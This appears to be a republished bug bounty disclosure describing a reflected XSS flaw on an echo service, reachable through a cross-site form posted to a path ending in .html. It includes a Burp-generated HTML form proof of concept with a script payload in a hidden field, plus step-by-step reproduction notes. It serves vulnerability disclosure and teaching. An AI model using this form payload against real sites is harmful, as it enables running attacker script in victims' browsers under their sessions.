CSRF to Reflected XSS at echo.urbandictionary.biz via spoofing content type
The echo service reflects the body of a POST request back in the response, and requesting a path ending in .html makes the response be served as HTML. An attacker could craft a form that submits a script payload, causing reflected cross-site scripting in a victim's browser.
Originally disclosed on HackerOne
- Fixed in 29 days
- Disclosed after 3.7 years
Details
The host is vulnerable to XSS due to the fact that it does reflect any sent POST request body when the request sent to any existed/non-existed filename with .html extension which spoof the response content type to HTML.
Proof of Concept
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://echo.urbandictionary.biz/xsxsxs.html" method="POST" enctype="text/plain">
<input type="hidden" name=" <script>alert(document.domain)</script>" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

Impact
Typical cross site scripting impact, Injecting malicious javascript code into victim browser.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could inject malicious JavaScript into a victim's browser, with typical cross-site scripting consequences.
What the attacker needed
Victim submits a crafted form
How it was found
- Create an HTML page containing a form that posts to a path ending in .html on the echo host.
- Set the form encoding to text/plain and include a hidden field whose name contains a script payload.
- Submit the form so the POST body is reflected in an HTML response.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A website that echoes back whatever you send it can be dangerous if it also treats that content as a web page. Here, sending a form with a script inside to a path ending in .html made the browser run the script. This lets an attacker run code in a victim's browser if the victim submits the form.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.